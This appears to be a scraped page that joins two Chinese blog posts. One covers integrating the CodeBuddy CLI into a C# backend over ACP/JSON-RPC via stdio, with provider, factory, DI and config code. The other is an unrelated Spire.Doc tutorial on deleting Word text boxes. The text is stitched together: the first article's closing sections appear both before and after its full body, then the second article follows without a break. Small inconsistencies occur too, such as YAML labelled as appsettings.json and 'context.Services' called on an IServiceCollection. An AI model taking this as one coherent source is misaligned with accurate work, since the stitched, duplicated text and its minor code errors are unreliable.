  # 默认使用的 Provider
  DefaultProvider: "CodebuddyCli"

  # Provider 配置
  Providers:
    CodebuddyCli:
      Type: "CodebuddyCli"
      WorkingDirectory: "C:/projects/my-app"
      ExecutablePath: "C:/tools/codebuddy.cmd"

  # 平台相关配置
  PlatformConfigurations:
    CodebuddyCli:
      ExecutablePath: "C:/tools/codebuddy.cmd"
      Arguments: "--acp"
      StartupTimeoutMs: 5000
      EnvironmentVariables:
        CODEBUDDY_API_KEY: "${CODEBUDDY_API_KEY}"
        CODEBUDDY_INTERNET_ENVIRONMENT: "production"

配置模型

对应的配置模型定义:

public class CodebuddyPlatformConfiguration : IAcpPlatformConfiguration
{
    public string ProviderName => "CodebuddyCli";
    public AcpTransportType TransportType => AcpTransportType.Stdio;

    public string ExecutablePath { get; set; } = "codebuddy";
    public string Arguments { get; set; } = "--acp";
    public int StartupTimeoutMs { get; set; } = 5000;

    public Dictionary<string, string?>? EnvironmentVariables { get; set; }
}

实践经验总结

踩坑记录

我们在实现过程中遇到了几个典型的坑,分享出来让大家少走弯路。毕竟,别人的坑,自己能避开就是好事:

  1. 会话泄漏问题:一开始没有正确释放会话,导致进程资源耗尽。解决方法是使用 try-finally 确保每次请求都会释放资源。这也罢了,用过的东西得放回去,不然后面的人用什么。
  2. 环境变量传递:Windows 和 Linux 的环境变量语法不同,后来统一使用 Dictionary<string, string?> 来处理。跨平台这种事,一开始就统一规范,后面就省心。
  3. 超时配置:CLI 启动需要时间,设置了 5 秒的启动超时,避免快速请求失败。凡事都得有个度,太急了反而办不成事。
  4. 编码问题:Windows 上默认编码可能导致中文乱码,在启动进程时显式指定 UTF-8 编码。中文显示不出来,那多难受。

性能优化

  1. 会话池:对于频繁的短请求,可以考虑实现会话池来复用进程
  2. 连接缓存:工厂类已经支持 Provider 实例缓存
  3. 异步优先:全程使用异步编程,避免阻塞线程

性能这种事,能优化就优化,毕竟用户等的越久,体验就越差。

总结

本文详细介绍了 C# 后端集成 CodeBuddy CLI 的完整方案,涵盖了从架构设计到具体实现的全过程。通过分层架构设计,我们将协议细节与业务逻辑分离,使得代码更加清晰和可维护。

核心要点回顾:

  • 采用 Provider 契约层、工厂层、实现层、基础设施层的分层架构
  • 使用 JSON-RPC over Stdio 方式进行进程间通信
  • 通过依赖注入实现灵活的配置和扩展
  • 提供流式和非流式两种调用方式

这套方案不仅适用于 CodeBuddy,添加新的 AI Provider 也遵循同样的模式。如果你也在做类似的多 AI Provider 集成,希望这篇文章能给你一些参考。其实,写文章和写代码一样,分享出来,能帮到别人就算没白写。


参考资料


如果本文对你有帮助:

C# 后端集成 CodeBuddy CLI 实战指南

本文将详细介绍如何在 C# 后端项目中集成 CodeBuddy CLI,实现 AI 编程助手能力的完整方案。

背景

在现代 AI 代码助手开发中,单一 AI Provider 往往无法满足复杂多变的开发场景。这就像,人生路远,总不能只认一个方向吧?HagiCode 作为一款多功能 AI 编程助手,需要支持多种 AI Provider 以提供更好的用户体验。毕竟,用户的选择权还是要给够的。在 2026 年初,项目面临一个关键决策:如何在 C# 后端中恢复 CodeBuddy 的 ACP(Agent Communication Protocol)集成能力。

此前项目中曾实现过 CodeBuddy 对接,但相关代码在一次重构中被移除了。其实也没什么好抱怨的,代码迭代嘛,总有东西要被遗忘。本次技术方案的目标是完整恢复这一能力,并优化架构使其更加健壮和可维护。

如果你也在考虑为自己的项目接入多种 AI 编程助手,下面的方案或许能给你一些启发——这可是我们踩了无数坑之后总结出来的经验。或许能让你少走点弯路,也算是我做过的一点好事吧。

关于 HagiCode

本文分享的方案来自我们在 HagiCode 项目中的实践经验。HagiCode 是一个开源的 AI 代码助手项目,支持多种 AI Provider 和跨平台运行。为了满足不同用户的偏好,我们需要能够灵活切换各种 AI 编程助手,这就有了本文要介绍的 CodeBuddy 集成方案。

HagiCode 采用模块化设计,AI Provider 作为可插拔的组件,这种架构让我们可以轻松添加新的 AI 支持,而不影响现有功能。这也罢了,设计这种东西,当初做得好,后面省心不少。如果你对我们的技术架构感兴趣,可以在 GitHub 上查看完整源码。

架构设计

分层架构概览

C# 与 CodeBuddy 的对接采用清晰的分层架构,这种设计让代码职责分明,后期维护起来也更加方便:

┌─────────────────────────────────────────────┐
│           Provider 契约层                    │
│   AIProviderType 枚举 + 扩展方法             │
├─────────────────────────────────────────────┤
│           Provider 工厂层                    │
│   AIProviderFactory 依赖注入工厂             │
├─────────────────────────────────────────────┤
│           Provider 实现层                    │
│   CodebuddyCliProvider 具体实现              │
├─────────────────────────────────────────────┤
│           ACP 基础设施层                     │
│  ACPSessionManager / StdioAcpTransport      │
│  AcpRpcClient / AcpAgentClient              │
└─────────────────────────────────────────────┘

这种分层的好处是什么呢?简单说就是各层之间互不打扰。假设以后要换一种通信方式(比如从 stdio 改成 WebSocket),你只需要改最下面那一层,上面的业务代码完全不用动。毕竟,谁也不想牵一发而动全身,改个通信方式还要改半天业务代码,那也太惨了。

核心组件解析

Provider 契约层 是整个架构的基石。我们定义了 AIProviderType 枚举,其中 CodebuddyCli = 3 作为枚举值,通过扩展方法实现字符串与枚举的双向映射。这样配置文件中的字符串可以很方便地转成枚举,调试时枚举也能转成字符串输出。这也罢了,其实就是个映射关系,但做好了就是省心。

Provider 工厂层 负责根据配置创建对应的 Provider 实例。这里使用了 .NET 的依赖注入机制,配合 ActivatorUtilities.CreateInstance 实现动态创建。工厂模式的好处在于,新增一个 Provider 时只需要添加创建逻辑,不用修改已有的代码。这和写文章差不多,想加个新章节,就加个新章节,不用把前面的都重写一遍。

Provider 实现层 是真正干活的地方。CodebuddyCliProvider 实现了 IAIProvider 接口,提供 ExecuteAsync(非流式)和 StreamAsync(流式)两种调用方式。

ACP 基础设施层 则是通信的底层支撑。这一层处理所有的协议细节,包括进程管理、消息序列化、响应解析等。就像房子的地基,上面盖得再漂亮,底下的东西得稳才行。

通信机制

Stdio 传输模式

CodeBuddy 使用 Stdio(标准输入输出) 方式与外部进程通信。启动命令很简单:

codebuddy --acp

然后通过标准输入输出进行 JSON-RPC 消息交换。这种方式的优势在于:

  1. 启动迅速:本地进程通信没有网络延迟
  2. 配置简单:只需要指定可执行文件路径
  3. 环境隔离:每个会话独立进程,互不影响

通信过程中支持环境变量注入,常用的包括:

  • CODEBUDDY_API_KEY:API 密钥认证
  • CODEBUDDY_INTERNET_ENVIRONMENT:网络环境配置

这就像,人与人之间的沟通,找个方便的方式,才能说得上话。

消息协议

ACP 基于 JSON-RPC 2.0 协议,消息格式大概是酱紫的:

// 请求消息
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "agent/prompt",
  "params": {
    "prompt": "帮我写一个排序算法",
    "sessionId": "session-123"
  }
}

// 响应消息
{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "content": "这里是 AI 的回复..."
  }
}

实际实现中,我们把这些协议细节都封装好了,上层业务代码只需要关注 prompt 和 response 就行。这也罢了,封装得好,后面的人用起来就舒服点。

核心实现

1. Provider 契约恢复

首先在枚举文件中恢复 CodeBuddy 类型:

// PCode.Models/AIProviderType.cs
public enum AIProviderType
{
    ClaudeCodeCli = 0,
    CodexCli = 1,
    GitHubCopilot = 2,
    CodebuddyCli = 3,  // 恢复这个枚举值
    OpenCodeCli = 4,
    IFlowCli = 5,
}

然后在扩展方法中添加字符串映射,这样配置文件就可以用字符串指定 Provider:

// AIProviderTypeExtensions.cs
private static readonly Dictionary<string, AIProviderType> _typeMap = new(
    StringComparer.OrdinalIgnoreCase)
{
    ["CodebuddyCli"] = AIProviderType.CodebuddyCli,
    ["Codebuddy"] = AIProviderType.CodebuddyCli,
    ["codebuddy"] = AIProviderType.CodebuddyCli,
    // ... 其他 provider 的映射
};

2. Provider 工厂集成

在工厂类中添加 CodeBuddy 的创建分支:

// AIProviderFactory.cs
private IAIProvider? CreateProvider(AIProviderType providerType, ProviderConfiguration config)
{
    return providerType switch
    {
        AIProviderType.CodebuddyCli =>
            ActivatorUtilities.CreateInstance<CodebuddyCliProvider>(
                _serviceProvider,
                Options.Create(config)),
        // ... 其他 provider
        _ => throw new NotSupportedException($"Provider {providerType} not supported")
    };
}

这里用了依赖注入的 ActivatorUtilities,它会自动处理构造函数的参数注入,非常方便。这也罢了,.NET 的东西,用对了就是省心。

3. 完整的 Provider 实现

下面是 CodebuddyCliProvider 的核心实现,包含了流式和非流式两种调用方式:

public class CodebuddyCliProvider : IAIProvider
{
    private readonly ILogger<CodebuddyCliProvider> _logger;
    private readonly IACPSessionManager _sessionManager;
    private readonly ProviderConfiguration _config;

    public string Name => "CodebuddyCli";
    public bool SupportsStreaming => true;
    public ProviderCapabilities Capabilities { get; }

    public CodebuddyCliProvider(
        ILogger<CodebuddyCliProvider> logger,
        IACPSessionManager sessionManager,
        IOptions<ProviderConfiguration> config)
    {
        _logger = logger;
        _sessionManager = sessionManager;
        _config = config.Value;

        // 定义当前 Provider 的能力
        Capabilities = new ProviderCapabilities
        {
            SupportsStreaming = true,
            SupportsTools = true,
            SupportsSystemMessages = true,
            SupportsArtifacts = false,
            MaxTokens = 8192
        };
    }

    // 非流式调用:等所有结果一起返回
    public async Task<AIResponse> ExecuteAsync(
        AIRequest request,
        CancellationToken cancellationToken = default)
    {
        // 为请求创建独立会话
        var session = await _sessionManager.CreateSessionAsync(
            "CodebuddyCli",
            request.WorkingDirectory,
            cancellationToken,
            request.SessionId);

        try
        {
            var fullPrompt = BuildPrompt(request);
            await session.SendPromptAsync(fullPrompt, cancellationToken);

            var responseBuilder = new StringBuilder();
            var toolCalls = new List<AIToolCall>();

            // 收集所有响应块
            await foreach (var chunk in StreamFromSession(session, cancellationToken))
            {
                if (!string.IsNullOrEmpty(chunk.Content))
                {
                    responseBuilder.Append(chunk.Content);
                }
                // 处理工具调用...
            }

            return new AIResponse
            {
                Content = AIResultContentSanitizer.SanitizeResultContent(
                    responseBuilder.ToString()),
                ToolCalls = toolCalls,
                Provider = Name,
                Model = string.Empty
            };
        }
        finally
        {
            // 释放会话资源
            await session.DisposeAsync();
        }
    }

    // 流式调用:实时返回响应块
    public async IAsyncEnumerable<AIStreamingChunk> StreamAsync(
        AIRequest request,
        [EnumeratorCancellation] CancellationToken cancellationToken = default)
    {
        var session = await _sessionManager.CreateSessionAsync(
            "CodebuddyCli",
            request.WorkingDirectory,
            cancellationToken);

        try
        {
            var fullPrompt = BuildPrompt(request);
            await session.SendPromptAsync(fullPrompt, cancellationToken);

            await foreach (var chunk in StreamFromSession(session, cancellationToken))
            {
                yield return chunk;
            }
        }
        finally
        {
            await session.DisposeAsync();
        }
    }

    private async IAsyncEnumerable<AIStreamingChunk> StreamFromSession(
        IACPSession session,
        [EnumeratorCancellation] CancellationToken cancellationToken)
    {
        // 遍历会话中的所有更新
        await foreach (var notification in session.ReceiveUpdatesAsync(cancellationToken))
        {
            switch (notification.Update)
            {
                case AgentMessageChunkSessionUpdate agentMessage:
                    // 处理文本内容块
                    if (agentMessage.Content is AcpImp.TextContentBlock textContent)
                    {
                        yield return new AIStreamingChunk
                        {
                            Content = textContent.Text,
                            Type = StreamingChunkType.ContentDelta,
                            IsComplete = false
                        };
                    }
                    break;

                case ToolCallSessionUpdate toolCall:
                    // 处理工具调用
                    yield return new AIStreamingChunk
                    {
                        Content = string.Empty,
                        Type = StreamingChunkType.ToolCallDelta,
                        ToolCallDelta = new AIToolCallDelta
                        {
                            Id = toolCall.ToolCallId,
                            Name = toolCall.Kind.ToString(),
                            Arguments = toolCall.RawInput?.ToString()
                        }
                    };
                    break;

                case AcpImp.PromptCompletedSessionUpdate:
                    // 响应完成
                    yield break;
            }
        }
    }

    // 构建完整的提示词
    private string BuildPrompt(AIRequest request, string? embeddedCommandPrompt = null)
    {
        var sb = new StringBuilder();

        // 嵌入命令提示词(如果有)
        if (!string.IsNullOrEmpty(embeddedCommandPrompt))
        {
            sb.AppendLine(embeddedCommandPrompt);
            sb.AppendLine();
        }

        // 系统消息
        if (!string.IsNullOrEmpty(request.SystemMessage))
        {
            sb.AppendLine(request.SystemMessage);
            sb.AppendLine();
        }

        // 用户 prompt
        sb.Append(request.Prompt);
        return sb.ToString();
    }
}

这段代码有几个关键点:

  1. 会话管理:每个请求创建独立会话,请求完成后释放资源。这是坑踩出来的经验——如果会话复用做得不好,很容易出现状态污染的问题。毕竟,用过就得收拾干净,不然下次用的人就麻烦了。
  2. 流式处理IAsyncEnumerable 让响应可以边生成边返回,不用等全部内容生成完。这对于长文本场景特别重要,用户体验会好很多。就像,等结果的人也不想一直干等着不是。
  3. 工具调用:CodeBuddy 支持工具调用(Function Calling),通过 ToolCallSessionUpdate 处理。这个能力对于复杂的代码编辑任务很关键。
  4. 内容过滤:使用 AIResultContentSanitizer 过滤 Think 块内容,保持输出干净。

4. 依赖注入配置

在模块注册中添加相关服务:

// PCodeClaudeHelperModule.cs
public void ConfigureModule(IServiceCollection context)
{
    // 注册 Provider
    context.Services.AddTransient<CodebuddyCliProvider>();

    // 注册 ACP 基础设施
    context.Services.AddSingleton<IACPSessionManager, ACPSessionManager>();
    context.Services.AddSingleton<IAcpPlatformConfigurationResolver, AcpPlatformConfigurationResolver>();
    context.Services.AddSingleton<IAIRequestToAcpMapper, AIRequestToAcpMapper>();
    context.Services.AddSingleton<IAcpToAIResponseMapper, AcpToAIResponseMapper>();
}

配置示例

配置文件

appsettings.json 中添加 CodeBuddy 相关配置:

AI:
  # 默认使用的 Provider
  DefaultProvider: "CodebuddyCli"

  # Provider 配置
  Providers:
    CodebuddyCli:
      Type: "CodebuddyCli"
      WorkingDirectory: "C:/projects/my-app"
      ExecutablePath: "C:/tools/codebuddy.cmd"

  # 平台相关配置
  PlatformConfigurations:
    CodebuddyCli:
      ExecutablePath: "C:/tools/codebuddy.cmd"
      Arguments: "--acp"
      StartupTimeoutMs: 5000
      EnvironmentVariables:
        CODEBUDDY_API_KEY: "${CODEBUDDY_API_KEY}"
        CODEBUDDY_INTERNET_ENVIRONMENT: "production"

配置模型

对应的配置模型定义:

public class CodebuddyPlatformConfiguration : IAcpPlatformConfiguration
{
    public string ProviderName => "CodebuddyCli";
    public AcpTransportType TransportType => AcpTransportType.Stdio;

    public string ExecutablePath { get; set; } = "codebuddy";
    public string Arguments { get; set; } = "--acp";
    public int StartupTimeoutMs { get; set; } = 5000;

    public Dictionary<string, string?>? EnvironmentVariables { get; set; }
}

实践经验总结

踩坑记录

我们在实现过程中遇到了几个典型的坑,分享出来让大家少走弯路。毕竟,别人的坑,自己能避开就是好事:

  1. 会话泄漏问题:一开始没有正确释放会话,导致进程资源耗尽。解决方法是使用 try-finally 确保每次请求都会释放资源。这也罢了,用过的东西得放回去,不然后面的人用什么。
  2. 环境变量传递:Windows 和 Linux 的环境变量语法不同,后来统一使用 Dictionary<string, string?> 来处理。跨平台这种事,一开始就统一规范,后面就省心。
  3. 超时配置:CLI 启动需要时间,设置了 5 秒的启动超时,避免快速请求失败。凡事都得有个度,太急了反而办不成事。
  4. 编码问题:Windows 上默认编码可能导致中文乱码,在启动进程时显式指定 UTF-8 编码。中文显示不出来,那多难受。

性能优化

  1. 会话池:对于频繁的短请求,可以考虑实现会话池来复用进程
  2. 连接缓存:工厂类已经支持 Provider 实例缓存
  3. 异步优先:全程使用异步编程,避免阻塞线程

性能这种事,能优化就优化,毕竟用户等的越久,体验就越差。

总结

本文详细介绍了 C# 后端集成 CodeBuddy CLI 的完整方案,涵盖了从架构设计到具体实现的全过程。通过分层架构设计,我们将协议细节与业务逻辑分离,使得代码更加清晰和可维护。

核心要点回顾:

  • 采用 Provider 契约层、工厂层、实现层、基础设施层的分层架构
  • 使用 JSON-RPC over Stdio 方式进行进程间通信
  • 通过依赖注入实现灵活的配置和扩展
  • 提供流式和非流式两种调用方式

这套方案不仅适用于 CodeBuddy,添加新的 AI Provider 也遵循同样的模式。如果你也在做类似的多 AI Provider 集成,希望这篇文章能给你一些参考。其实,写文章和写代码一样,分享出来,能帮到别人就算没白写。


参考资料


如果本文对你有帮助:

C#:三行代码,给 Word 文档的文本框“一键清空”
在企业报告自动化或AI生成文档处理中,Word中文本框常导致布局混乱,批量删除Word文本框成为开发者痛点。手动操作低效,Microsoft.Office.Interop.Word依赖Office环境,部署受限。Spire.Doc for .NET提供优雅解决方案,实现C# 删除Word文本框,无需Office,轻量高效。本文详解删除文本框步骤,结合可运行代码,助力.NET去除文档文本框,解决实际场景如报告清理。
开发环境与库准备
Spire.Doc for .NET 是专业Word处理库,支持Docx/Doc/RTF/ODT等20+格式,文本框操作API简洁。
注:免费版限3页,付费版无限制。
NuGet安装:

VS工具→NuGet包管理器→程序包管理器控制台。

体验AI代码助手 代码解读复制代码Install-Package Spire.Doc

库对比(基于易用性与文本框支持):

库名价格易用性功能支持文本框删除Spire.Doc免费/付费高是(TextBoxes.Clear())Aspose.Words付费中是(复杂API)Interop.Word免费低是(需Office,易崩溃)
Spire.Doc胜在API直观,适合C# 删除Word文本框。
实现删除文本框的核心步骤
加载Word文档
csharp 体验AI代码助手 代码解读复制代码using Spire.Doc;

Document doc = new Document();
doc.LoadFromFile(@"C:\input.docx"); // 自动检测格式

关键:LoadFromFile支持多种后缀,高效加载。
遍历并删除文本框
文本框在doc.TextBoxes集合,Spire.Doc for .NET提供RemoveAt/Clear。
csharp 体验AI代码助手 代码解读复制代码// 删除指定索引
if (doc.TextBoxes.Count > 0)

doc.TextBoxes.RemoveAt(0);

// 清空所有(推荐)
doc.TextBoxes.Clear();

// 遍历节处理嵌套
foreach (Section section in doc.Sections)
{

for (int i = section.Body.ChildObjects.Count - 1; i >= 0; i--)
{
    if (section.Body.ChildObjects[i] is Spire.Doc.Fields.TextBox)
        section.Body.ChildObjects.RemoveAt(i);
}

}

逆序遍历防索引错位,核心解决.NET去除文档文本框。
保存修改后文档
csharp 体验AI代码助手 代码解读复制代码doc.SaveToFile(@"C:\output.docx", FileFormat.Docx2016);
doc.Close();

完整代码:
csharp 体验AI代码助手 代码解读复制代码using Spire.Doc;

class Program {

static void Main() {
    Document doc = new Document();
    doc.LoadFromFile(@"input.docx");
    doc.TextBoxes.Clear();
    doc.SaveToFile(@"output.docx", FileFormat.Docx2016);
    doc.Close();
}

}

高级应用与注意事项
• 批量处理文件夹:
csharp 体验AI代码助手 代码解读复制代码string[] files = Directory.GetFiles(@"C:\docs", "*.docx");
foreach (string file in files) {

Document doc = new Document(file);
doc.TextBoxes.Clear();
doc.SaveToFile(file.Replace(".docx","_clean.docx"));
doc.Close();

}

• ShapeGroup嵌套递归删除:
csharp 体验AI代码助手 代码解读复制代码void RemoveTextBoxes(DocumentObjectCollection objs) {

for (int i = objs.Count - 1; i >= 0; i--) {
    if (objs[i] is Spire.Doc.Fields.TextBox) objs.RemoveAt(i);
    else if (objs[i] is ShapeGroup sg) RemoveTextBoxes(sg.ChildObjects);
}

}
foreach (Section s in doc.Sections) RemoveTextBoxes(s.Body.ChildObjects);

Tips:异常捕获try-catch,文档保护用doc.ProtectionType = ProtectionType.None。

Spire.Doc for .NET灵活,适配AI文档趋势。
测试验证与常见问题
验证:运行后检查doc.TextBoxes.Count == 0,目视output.docx无文本框。
问题排查:

问题原因解决方案索引越界空集合RemoveAtif(doc.TextBoxes.Count>0)嵌套未删未递归ShapeGroup自定义RemoveTextBoxes方法保存乱码格式不匹配用FileFormat.Docx2016免费版失败超3页分拆文档或升级Spire.Doc
总结
Spire.Doc for .NET让C#删除Word文本框三步即成:加载-删除-保存。相比Aspose,API更简洁,支持.NET 8.0,完美契合批量自动化。速NuGet安装,复制代码实践,可提升文档操作效率!